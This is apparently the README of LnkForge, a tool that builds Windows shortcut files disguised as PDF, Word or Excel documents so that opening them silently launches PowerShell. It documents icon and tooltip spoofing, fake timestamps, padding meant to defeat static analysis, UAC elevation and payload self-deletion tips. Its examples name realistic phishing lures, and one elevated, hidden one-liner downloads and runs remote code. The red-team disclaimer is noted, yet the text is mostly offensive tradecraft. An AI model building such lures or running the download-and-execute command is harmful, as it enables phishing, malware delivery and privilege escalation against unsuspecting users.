Educational and authorized red-team use only. LnkForge is published for security research, penetration testing within authorized engagements, and controlled lab environments. The author assumes no responsibility for misuse.
LnkForge — Windows Shortcut Payload Builder
Table of Contents
- What is LnkForge
- Origin — DarkLnk comparison
- How Windows processes .lnk files
- LNK file structure
- Command-line reference
- Elevation / UAC
- Recommended workflow
- Usage examples
- LNK header fields
- Building from source
- Disclaimer
What is LnkForge
LnkForge is a command-line tool written in C++ that constructs .lnk (Windows Shortcut) files from scratch. It implements the MS-SHLLINK specification directly in binary, without relying on Windows shell APIs.
The primary use case is security research and authorized penetration testing — specifically, simulating phishing lure delivery by crafting shortcut files that:
- display an icon matching a legitimate file type (PDF, Word, Excel, video, audio),
- show a convincing fake path in the hover tooltip,
- silently execute an arbitrary command when the user double-clicks.
LnkForge is a C++ rewrite and extension of the original C# tool DarkLnk. The binary format is assembled byte-by-byte, giving full control over every field — including those normally hidden from the shell API.
Origin — DarkLnk comparison
LnkForge started from the same idea as DarkLnk (C#, by wariv): use the ItemIDList/LinkInfo split in the MS-SHLLINK format to decouple the displayed icon from the real executable. The core technique is identical.
What LnkForge adds on top:
| Feature | DarkLnk | LnkForge |
|---|---|---|
Icon spoofing via -ext |
✓ | ✓ |
| Fake tooltip path | ✓ | ✓ |
| Custom binary and arguments | ✓ | ✓ |
Base64 argument encoding (-argsb64) |
✗ | ✓ |
Built-in -encode / -decode utility |
✗ | ✓ |
Fake timestamps (-faketime) |
✗ | ✓ |
UAC elevation (-runas) |
✗ | ✓ |
Null padding between sections (-padnull) |
✗ | ✓ |
Random padding between sections (-padrand) |
✗ | ✓ |
Fake file size (-fakesize) |
✗ | ✓ |
SW_SHOWMINNOACTIVE (no focus steal on launch) |
✗ | ✓ |
LinkInfoHeaderSize = 0x1C per spec §2.3 |
✗ (0x18) | ✓ |
| VolumeID without drive serial (portable) | ✗ | ✓ |
| No .NET runtime required | ✗ | ✓ |
Two items in the table deserve a note. DarkLnk writes LinkInfoHeaderSize = 0x18 (24), which contradicts the MS-SHLLINK spec §2.3 minimum of 28 (0x1C) — Windows accepts it, but it is technically non-conformant. The VolumeID in DarkLnk includes the build machine's drive serial number, which means the shortcut only resolves correctly on the same machine; LnkForge omits the serial so the file works on any target.
How Windows processes .lnk files
A .lnk file contains two independent data structures that serve entirely different purposes:
| Section | Purpose | What the attacker controls |
|---|---|---|
| ShellLinkItemIDList | Provides icon and hover tooltip — the decoy | -ext, -fakepath, -fakeroot |
| LinkInfo + StringData | Contains the real executable and arguments | -bin, -args / -argsb64 |
Windows resolves the icon from the ItemIDList and uses the registered handler for the extension found there. When the user double-clicks, Windows ignores the ItemIDList and launches the executable from LinkInfo. The two are completely independent — they can point to entirely different things.
The window show command is set to SW_SHOWMINNOACTIVE — the launched process starts minimized and never takes focus, making execution invisible to a casual observer.
LNK file structure
Command-line reference
Building a .lnk file
| Flag | Argument | Description | Default |
|---|---|---|---|
-ext |
str |
Fake extension — drives the shortcut icon (pdf, docx, xlsx, mov, mp3, …) |
pdf |
-o |
str |
Output filename without .lnk |
calc |
-args |
str |
Arguments passed to the binary (plain text; quote if spaces) | -command "calc.exe" |
-argsb64 |
b64 |
Arguments encoded in Base64 — recommended to avoid shell quoting issues | — |
-bin |
str |
Path to the executable to launch | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Obfuscation
| Flag | Argument | Description | Default |
|---|---|---|---|
-faketime |
— | Randomize CreationTime, AccessTime, WriteTime in the header (29–600 days in the past) |
off |
-fakesize |
int |
Fake FileSize written to the header |
2147483647 (INT32_MAX) |
-fakepath |
str |
Path shown in the hover tooltip | Program Files\Adobe\Acrobat |
-fakeroot |
str |
Drive letter (max 3 chars) | C:\ |
-padnull |
— | Insert a random number of zero bytes between IDList sections | off |
-padrand |
— | Insert random bytes between IDList sections (harder to analyze statically) | off |
Base64 utilities (do not build a .lnk file)
| Flag | Argument | Description |
|---|---|---|
-encode |
str |
Encode text to Base64 and print the corresponding -argsb64 flag |
-decode |
b64 |
Decode Base64 to text (for analysis and verification) |
Elevation
| Flag | Description | Default |
|---|---|---|
-runas |
Set the RunAsUser bit (bit 13 = 0x00002000) in LinkFlags — Windows triggers a UAC prompt on double-click and launches the binary as Administrator |
off |
Other
| Flag | Description |
|---|---|
-h, --help |
Show the help screen |
Elevation / UAC
Adding -runas sets the RunAsUser bit in the LNK header's LinkFlags field. Windows reads this flag before launching the target and presents a UAC elevation dialog to the user. If the user approves, the binary executes with Administrator privileges.
| LNK field | Offset | Value (with -runas) |
|---|---|---|
LinkFlags |
0x14 |
0x000820AB (0x000800AB + bit 13) |
| Bit 13 | 0x15 (byte) |
|= 0x20 |
Payload note: when the binary (e.g. powershell.exe) is launched elevated via the UAC prompt, it runs at high integrity. High-integrity processes cannot enumerate Explorer windows at medium integrity through Shell.Application. If your payload includes self-deletion logic that walks Shell.Application.Windows(), run the self-delete step in a separate, unelevated process — the elevated process will not see the Explorer window containing the .lnk file.
Recommended workflow
Using -args directly on the command line can break when the payload contains quotes or special characters. The recommended approach is a two-step workflow:
Step 1 — encode the payload:
LnkForge.exe -encode "-command \"Start-Process calc\""
LnkForge prints the Base64 string and a ready-to-use -argsb64 flag.
Step 2 — build the LNK using the Base64 output:
LnkForge.exe -o Quarterly_Report -ext pdf -faketime -padrand -argsb64 <b64>
The output is Quarterly_Report.lnk — a shortcut displaying a PDF icon that executes PowerShell when opened.
Usage examples
# PDF lure with obfuscated timestamps and random inter-section padding
LnkForge.exe -o Quarterly_Report -ext pdf -faketime -padrand -argsb64 <b64>
# Word icon, fake Microsoft Office tooltip path
LnkForge.exe -o Payslip_2025 -ext docx -faketime -padrand \
-fakepath "Microsoft\Office\Word" -argsb64 <b64>
# Excel icon, fake size matching a real spreadsheet (~240 KB)
LnkForge.exe -o Budget -ext xlsx -fakesize 245760 -faketime -argsb64 <b64>
# Decode Base64 argument from a captured LNK file (for analysis)
LnkForge.exe -decode LWNvbW1hbmQgImNhbGMuZXhlIg==
# PDF lure with UAC elevation — user sees a UAC prompt, payload runs as Administrator
LnkForge.exe -o Setup -ext pdf -faketime -runas -args "-NoProfile -WindowStyle Hidden -Command irm https://example.com/install|iex"
LNK header fields
The ShellLinkHeader is exactly 76 bytes. Key fields written by LnkForge:
| Offset | Field | Value / Source |
|---|---|---|
0x00 |
HeaderSize |
0x0000004C (76) |
0x04 |
LinkCLSID |
{00021401-0000-0000-C000-000000000046} |
0x14 |
LinkFlags |
0x000800AB — HasLinkTargetIDList, HasLinkInfo, HasRelativePath, HasArguments, IsUnicode, bit 11 unused; +0x00002000 RunAsUser when -runas |
0x18 |
FileAttributes |
0x00000020 (ARCHIVE) |
0x1C |
CreationTime |
FILETIME — random past date via -faketime |
0x24 |
AccessTime |
FILETIME — random offset from CreationTime |
0x2C |
WriteTime |
FILETIME — random offset from CreationTime |
0x34 |
FileSize |
-fakesize (default: INT32_MAX) |
0x38 |
IconIndex |
0 |
0x3C |
ShowCommand |
0x07 = SW_SHOWMINNOACTIVE (starts minimized, no focus) |
0x40 |
HotKey |
0x0000 |
0x42 |
Reserved | 10 × 0x00 |
Building from source
Requirements:
- Windows 10 / 11 (x64)
- Visual Studio 2022 (with C++ Desktop workload)
Build:
Open LnkForge.slnx in Visual Studio and build the Release x64 configuration, or use MSBuild:
msbuild src\LnkForge.vcxproj /p:Configuration=Release /p:Platform=x64
The output binary is written to bin\Release\x64\LnkForge.exe. No external dependencies.
Source layout:
| File | Responsibility |
|---|---|
main.cpp |
CLI argument parsing, help screen, Base64 utility modes |
LnkForge.cpp / .h |
LNK binary assembly — domain layer, knows the MS-SHLLINK format |
Config.h |
Plain data structure holding all user-supplied options |
BinaryUtils.cpp / .h |
Stateless byte utilities — LE conversions, string encoding, Base64 |
Disclaimer
LnkForge is published for educational purposes and authorized security testing only. Use only in environments where you have explicit written permission. Running LnkForge against systems or users without authorization is illegal in most jurisdictions. The author (Marek Wesolowski) assumes no liability for any misuse.
MS-SHLLINK specification: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink